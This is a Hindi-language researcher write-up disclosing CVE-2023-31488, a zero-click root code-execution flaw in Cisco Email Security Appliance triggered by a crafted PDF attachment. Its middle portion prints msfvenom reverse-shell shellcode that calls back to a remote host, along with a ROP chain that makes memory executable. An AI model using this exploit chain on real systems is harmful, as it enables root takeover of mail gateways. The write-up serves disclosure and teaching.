Cisco Email Security Appliance: ईमेल से शून्य-क्लिक RCE रूट के रूप में - दूरस्थ कोड निष्पादन/मेमोरी भ्रष्टाचार/ROP-chain
सुरक्षा शोधकर्ता: ly1g3, ly1g3[at]tuta.io
GPG फिंगरप्रिंट: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586
अवलोकन: ईमेल से शून्य क्लिक RCE रूट के रूप में - रिमोट कोड निष्पादन/मेमोरी भ्रष्टाचार/ROP-श्रृंखला
CVE: CVE-2023-31488
समयरेखा:
Cisco Email Security Appliance (ESA) को फ़ज़ करते समय, मुझे Lexmark Perceptive Filters में एक कमज़ोरी मिली, जिसका उपयोग ESA ईमेल अटैचमेंट के डेटा सैनिटाइज़ेशन के लिए करता है, जिससे ईमेल के माध्यम से RCE होता है। क्रैश एक संशोधित PDF अटैचमेंट को पार्स करते समय होता है। एक दोहरे अंक वाले PDF ऑब्जेक्ट ID को बदलकर, उदाहरण के लिए:
उदाहरण के लिए:
13 0 obj
<</Subtype/CIDFontType2/FontDescriptor
ID के भाग को 13 से किसी और चीज़ (जैसे स्पेस) में बदलने पर परिणाम होता है:
1 0 obj
<</Subtype/CIDFontType2/FontDescriptor
इस संशोधित PDF को Cisco ESA को ईमेल में भेजने से libISYSpdf6.so में सेगमेंटेशन फॉल्ट क्रैश होता है। क्रैश r14 में ASCII डेटा होने के कारण होता है।
करीब से निरीक्षण करने पर पता चलता है कि यह डेटा हमारे नियंत्रण में PDF अटैचमेंट की सामग्री से आता है। r14 का मान Rect है।
![]()
Rect को AAAA में बदलने पर परीक्षण।
चूँकि r14 का मान PDF में डेटा से लोड होता है, हम इसे एक वैध मेमोरी पते पर इंगित करने के लिए संशोधित कर सकते हैं। इस समायोजन के बाद, RAX में अमान्य डेटा के कारण एक और क्रैश होता है। यह डेटा भी PDF से ASCII है।
हम PDF को संशोधित करते हैं ताकि rax भी एक वास्तविक पते पर इंगित करे और आगे बढ़ते हैं।

एक नया क्रैश होता है; अब rsi में PDF से ASCII डेटा है।

हम PDF को फिर से संशोधित करते हैं ताकि एक वास्तविक मेमोरी पता लोड करें।
अंत में, हम कोड के एक बहुत ही दिलचस्प भाग पर आते हैं। जहाँ हम rdi को नियंत्रित करते हैं, जिसका उपयोग rax में एक मान लोड करने के लिए किया जाता है। इस अनुक्रम में अंतिम निर्देश call rax है। हम अब कोड निष्पादन क्षमताओं को प्राप्त करने की दिशा में अच्छी प्रगति कर रहे हैं।
एक बार फिर हम हेक्स एडिटर में प्रवेश करते हैं और rdi में लोड किए गए मान को संशोधित करते हैं।

अब हमारे पास सीमित कोड निष्पादन का एक तरीका है और हम एक एकल पते पर कूद सकते हैं। चूँकि ASLR मौजूद नहीं है, मेमोरी पते ढूँढना आसान है। हम rdi को भी नियंत्रित करते हैं और इसलिए प्रारंभिक ROP-गैजेट libISYSshared.so: push rdi; pop rsp; xor eax, का उपयोग करके rdi को rsp पर ले जाकर स्टैक को नियंत्रित करते हैं। हम स्टैक को PDF मेमोरी क्षेत्र के एक क्षेत्र पर इंगित करते हैं जिसे हम नियंत्रित करते हैं, जिसमें अधिक ROP गैजेट्स से तैयार एक कस्टम स्टैक होता है।

msfvenom द्वारा उत्पन्न एक FreeBSD रिवर्स-शेल शेलकोड को PDF मेमोरी क्षेत्र में रखा गया है। लेकिन चूँकि मेमोरी निष्पादन योग्य नहीं है, हमें पहले इसे निष्पादन योग्य बनाना होगा।
shellcode = b'\x90'*100
buf = b""
buf += b"\x31\xc0\x83\xc0\x61\x6a\x02\x5f\x6a\x01\x5e\x48\x31"
buf += b"\xd2\x0f\x05\x49\x89\xc4\x48\x89\xc7\x31\xc0\x83\xc0"
buf += b"\x62\x48\x31\xf6\x56\x48\xbe\x00\x02\x1b\x58\xc0\xa8"
buf += b"\x64\x9f\x56\x48\x89\xe6\x6a\x10\x5a\x0f\x05\x4c\x89"
buf += b"\xe7\x6a\x03\x5e\x48\xff\xce\x6a\x5a\x58\x0f\x05\x75"
buf += b"\xf6\x31\xc0\x83\xc0\x3b\xe8\x08\x00\x00\x00\x2f\x62"
buf += b"\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2"
buf += b"\x52\x57\x48\x89\xe6\x0f\x05"
चूँकि इस बिंदु पर हम स्टैक को नियंत्रित करते हैं, यह निम्नलिखित ROP-श्रृंखला द्वारा किया जा सकता है ताकि शेलकोड मेमोरी क्षेत्र को RWX के रूप में सेट करने के लिए mmap को कॉल किया जा सके।
rop += rebase_0(0x00000000000d0d30) # 0x00000000000d0d30: pop rdi; ret;
rop += p(pdf_data_base_address)
rop += rebase_0(0x00000000000692b2) # 0x00000000000692b2: pop rsi; ret;
rop += p(0x100000)
rop += rebase_0(0x00000000000d0cb3) # 0x00000000000d0cb3: pop rdx; ret;
rop += p(0x0000000000000007)
rop += rebase_0(0x0000000000019020) # 0x0000000000019020: pop rax; ret;
rop += p(0x4a)
rop += rebase_1(0x0000000001169f94) # 0x0000000001169f94: syscall; ret;
rop += rebase_0(0x000000000003be21) # 0x000000000003be21: call rsp;
mmap को कॉल करने के बाद call rsp; हमारे शेलकोड के NOP-स्लेड को निष्पादित करेगा क्योंकि शेलकोड का पता हमारे कस्टम स्टैक पर अगला है। शेलकोड msfvenom द्वारा उत्पन्न एक रिवर्स शेल है।
एक दिलचस्प बात यह है कि यह कोड किसी भी स्थिर एंटीवायरस स्कैन से पहले चलता है, इसलिए मानक मेटास्प्लॉइट रिवर्स शेल बिल्कुल ठीक काम करेगा।
हम काम करने वाला PDF बनाने के लिए नीचे दिए गए POC का उपयोग कर सकते हैं। उसके बाद हम इसे ESA को ईमेल में भेजते हैं ताकि RCE प्राप्त कर सकें। विशेषाधिकार वृद्धि के लिए मेरी अन्य कमज़ोरियाँ देखें।
और इस प्रकार हम ESA पर एक रिमोट शेल प्राप्त करते हैं:
यह एक मज़ेदार प्रोजेक्ट था जिसने मुझे मेमोरी भ्रष्टाचार कमज़ोरियों के बारे में बहुत कुछ सिखाया। यह यह भी दर्शाता है कि "आधुनिक" मेमोरी सुरक्षा जैसे ASLR कितनी अच्छी सुरक्षा है, लेकिन यह भी कि आप अभी भी गैर-ASLR सिस्टम ढूँढ सकते हैं।
ESA (Cisco Secure Email) ओवरफ़्लो हमला। रूट के रूप में रिमोट कोड निष्पादन।
एक विशेष रूप से तैयार की गई PDF फ़ाइल भेजकर, एक ओवरफ़्लो हमलावर को ESA और Lexmark Perceptive Filters का उपयोग करने वाले अन्य उत्पादों पर मनमाना रिमोट कोड निष्पादन प्राप्त करने का कारण बनता है।
यह ओवरफ़्लो हमला हमलावर को call rax निर्देश पर नियंत्रण प्राप्त करने की अनुमति देता है, जो मनमाना कोड निष्पादन की ओर बढ़ना आसान बनाता है क्योंकि ESA पर कोई ASLR का उपयोग नहीं किया जाता है। कोड रूट के रूप में निष्पादित होगा।
समस्या Lexmark द्वारा libISYSpdf6.so लाइब्रेरी में PDF पार्सिंग से आती है और IGR_Open_File_Ex फ़ंक्शन के कॉल के कारण होती है। इस फ़ंक्शन को AMP (एडवांस्ड मैलवेयर प्रोटेक्शन) में सुरक्षित प्रिंट और इमेज_विश्लेषण कार्यों तक ट्रेस किया जा सकता है, लेकिन शोषण संभवतः अन्य पथों का उपयोग करके भी ट्रिगर किया जा सकता है।